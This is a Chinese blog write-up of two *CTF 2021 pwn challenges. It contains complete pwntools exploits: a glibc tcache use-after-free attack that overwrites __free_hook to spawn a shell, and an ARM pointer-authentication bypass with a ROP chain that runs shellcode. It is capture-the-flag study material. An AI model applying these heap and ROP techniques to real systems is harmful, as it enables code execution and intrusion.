zoukankan      html  css  js  c++  java
  • *CTF pwn

    打了这次*ctf,wtcl,arm pwn不会,kernel也不会,pwn只出了一道比较简单的堆题。

    先记录下来吧,其他的题目如果有复现就发上来

    babyheap

    glibc版本虽然是2.27,但是题目使用的libc是修复过的libc,tcache_entry结构体中存在key指针去检测double free,注意绕过即可

    delete处存在UAF,edit可以覆写被释放的堆块,

    但是edit处与一般的堆题有所不同,不能直接改写fd了,可以利用UAF构造块堆叠,去覆写下一个堆块的内容

    read(0, (pools[v1] + 8LL), (sizes[v1] - 8))
    

    leavename中有开大堆的操作,可以通过malloc consolidate合并出一个small bin,再去构造unsorted bin

    exp:

    from pwn import*
    #p = process('./pwn')
    p = remote('52.152.231.198',8081)
    context.log_level = 'debug'
    elf = ELF('./pwn')
    #libc = elf.libc
    libc = ELF('./libc.so.6')
    def menu(idx):
        p.sendlineafter('>>',str(idx))
    def add(idx,size):
        menu(1)
        p.sendlineafter('input index',str(idx))
        p.sendlineafter('input size',str(size))
    def delete(idx):
        menu(2)
        p.sendlineafter('input index',str(idx))
    def edit(idx,content):
        menu(3)
        p.sendlineafter('input index',str(idx))
        p.sendafter('input content',content)
    def show(idx):
        menu(4)
        p.sendlineafter('input index',str(idx))
    def leavename(name):
        menu(5)
        p.sendafter('your name:',name)
    def showname():
        menu(6)
     
    add(0,0x58)
    for i in range(1,9):
        add(i,0x58)
    add(10,0x58)
    for i in range(7):
        delete(0)
        edit(0,p64(0))
    
    show(0)
    p.recvline()
    heap_addr = u64(p.recv(6).ljust(8,'x00'))-0x260
    log.info('heap:'+hex(heap_addr))
    for i in range(1,9):
        delete(i)
    leavename('a'*8)
    show(3)
    libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-96-0x10-libc.sym['__malloc_hook']
    log.info('libc:'+hex(libc_base))
    free_hook = libc_base + libc.sym['__free_hook']
    system = libc_base +libc.sym['system']
    #gdb.attach(p)
    add(9,0x48)
    add(10,0x48)
    add(11,0x48)
    #gdb.attach(p)
    edit(1,p64(0)*8+p64(0x51)+p64(0))
    delete(11)
    delete(10)
    #gdb.attach(p)
    edit(1,p64(0)*8+p64(0x51)+p64(free_hook-8))
    add(12,0x48)
    add(13,0x48)
    edit(13,p64(system))
    edit(1,p64(0)*8+p64(0x51)+'/bin/shx00')
    #gdb.attach(p)
    delete(12)
    p.interactive()
    

    babypac

    当时没做出来,现在对其进行复现

    涉及到ARMv8.3的一个机制

    PAC(Pointer Authentication Code)

    详情可以参照p0的报告

    大概就是在函数返回的时候,会在函数的高位插入一个字节。用于验证返回地址是否被劫持(类似于canary)

    关键汇编

    .text:0000000000400B70                 LDURSW          X8, [X29,#idx]
    .text:0000000000400B74                 LSL             X8, X8, #4
    .text:0000000000400B78                 ADRL            X9, pool
    .text:0000000000400B80                 LDR             X8, [X9,X8]
    .text:0000000000400B84                 STR             X8, [SP,#0x20+var_10]
    .text:0000000000400B88                 LDR             X8, [SP,#0x20+var_10]
    .text:0000000000400B8C                 PACIA           X8, SP
    .text:0000000000400B90                 STR             X8, [SP,#0x20+var_10]
    .text:0000000000400B94                 LDR             X0, [SP,#0x20+var_10]
    .text:0000000000400B98                 STR             X9, [SP,#0x20+var_20]
    .text:0000000000400B9C                 BL              enc
    

    可以用gdb动态调试进去看,最后进入enc的数据是被PAC加密过

    所以要泄漏地址,去把高位加密的字节给泄漏出来

    程序逻辑分析

    存在一个结构体

    typedef struct {
      size_t num ;
      size_t locked;
    }pool;
    

    全局变量 结构体数组pool[5]

    add :

    pool[idx].num = num
    pool[idx].locked = 0
    

    locked :

    pool[idx].num = enc(pool[idx].num)
    pool[idx].locked = -1
    

    show:

    result = printf("name: %s
    ", name);
      for ( i = 0; i < 5; ++i )
      {
        if ( pool[i].num )
        {
          if ( pool[i].locked == 1 )
            result = printf("%d: **censored**
    ", i);
          else
            result = printf("%d: %ld
    ", i, pool[i].num);
        }
      }
    

    auth:

    __int64 result; // x0
      __int64 v1; // [xsp+0h] [xbp-20h]
    
      printf("idx: ");
      result = read_num();
      if ( result < 5 && *&name[16 * result + 32] && *&name[16 * result + 40] == 1LL )
      {
        v1 = *&name[16 * result + 32];
        result = enc(0x10A9FC70042LL);
        if ( v1 == result )
          result = win();
      }
      return result;
    

    存在下标越界,可以输入负数idx,name刚好在数组的上面,可以配合name进行操作

    bypass auth函数之后,可以进入win函数,就一个白给的栈溢出,ret2csu直接拿下

    但是因为本题存在PAC,所以我们需要先泄漏地址,使用下标越界去修改name,顺便把locked给绕过

    name = p64(csu1)+p64(0)
    name += p64(1145141919810)+p64(0)
    
    p.sendafter("name: ", name)
    lock(-2) 
    lock(-1) #bypass enc
    show()   #leak address
    

    泄漏出来的地址是加密过的,所以需要还原加密地址,请逆向师傅帮我写了解密函数。

    最后进入到栈溢出环节

    rop = b'a'*0x28         #padding
    rop += p64(addr)        #ret address
    rop += p64(0)           #x29
    rop += p64(csu2)        #x30
    rop += p64(0)           #x19
    rop += p64(1)           #x20
    rop += p64(0x411fd8)    #x21
    rop += p64(0)           #x22
    rop += p64(0x412050)    #x23
    rop += p64(0x100)       #x24
    rop += p64(0x412050)    #x29
    rop += p64(0x412050)    #x30
    

    完整exp:

    from pwn import*
    context.arch = "aarch64"
    #context.log_level = 'debug'
    binary = './chall'
    debug = 0 
    if debug:
       p = process(['qemu-aarch64',"-cpu","max",'-L','.','-g','1234',binary])
    else:
       p = process(['qemu-aarch64',"-cpu","max",'-L','.',binary])
       
    def menu(idx):
        p.sendlineafter(">>",str(idx))
    def add(num,idx):
        menu(1)
        p.sendlineafter("identity: ",str(idx))
        sleep(0.1)
        p.sendline(str(num))
    def lock(idx):
        menu(2)
        p.sendlineafter("idx: ",str(idx)) 
    def show():
        menu(3)
    def auth(idx):
        menu(4)
        p.sendlineafter("idx: ",str(idx)) 
    def dec_r(res, shift, bits=64):
        tmp = res
        for i in range(bits // shift):
            tmp = res ^ tmp >> shift
        return tmp&(2**64-1)
    
    def dec_l(res, shift, bits=64):
        tmp = res
        for i in range(bits // shift):
            tmp = res ^ tmp <<shift
        return tmp&(2**64-1)   
    csu1 = 0x400ff8
    csu2 = 0x400fd8 
    
    name = p64(csu1) + p64(0)
    name += p64(1145141919810) + p64(0)
    
    p.sendafter("name: ", name)
    lock(-2)
    lock(-1)
    show()
    p.recvuntil("name: ")
    leak = u64(p.recv(8))
    info('leak : '+str(leak))
    addr = dec_r(leak,13)
    addr = dec_l(addr,31)
    addr = dec_r(addr,11)
    addr = dec_l(addr,7)
    log.info("correct addr:" +hex(addr))
    rop = b'a'*0x28         #padding
    rop += p64(addr)        #ret address
    rop += p64(0)           #x29
    rop += p64(csu2)        #x30
    rop += p64(0)           #x19
    rop += p64(1)           #x20
    rop += p64(0x411fd8)    #x21
    rop += p64(0)           #x22
    rop += p64(0x412050)    #x23
    rop += p64(0x100)       #x24
    rop += p64(0x412050)    #x29
    rop += p64(0x412050)    #x30
    
    auth(-1)
    
    p.send(rop)
    sleep(0.1)
    p.send(asm(shellcraft.sh()))
    p.interactive()
    

    后来看到有些师傅是爆破首位地址打出来的
    爆破pac加密的指针的首位字节。
    exp 1/256 的概率打通
    reference:
    https://github.com/sixstars/starctf2021/tree/main/pwn-babypac

  • 相关阅读:
    Insus Meta Utility
    The 'Microsoft.ACE.OLEDB.12.0' provider is not registered on the local machine.
    Insus Binary Utility
    asp.net实现文件下载功能
    Column 'Column Name' does not belong to table Table
    程序已被编译为DLL,怎样去修改程序功能
    如何在Web网站实现搜索功能
    如何把数据流转换为二进制字符串
    Asp.net更新文件夹的文件
    如何显示中文月份
  • 原文地址:https://www.cnblogs.com/z2yh/p/14292758.html
Copyright © 2011-2022 走看看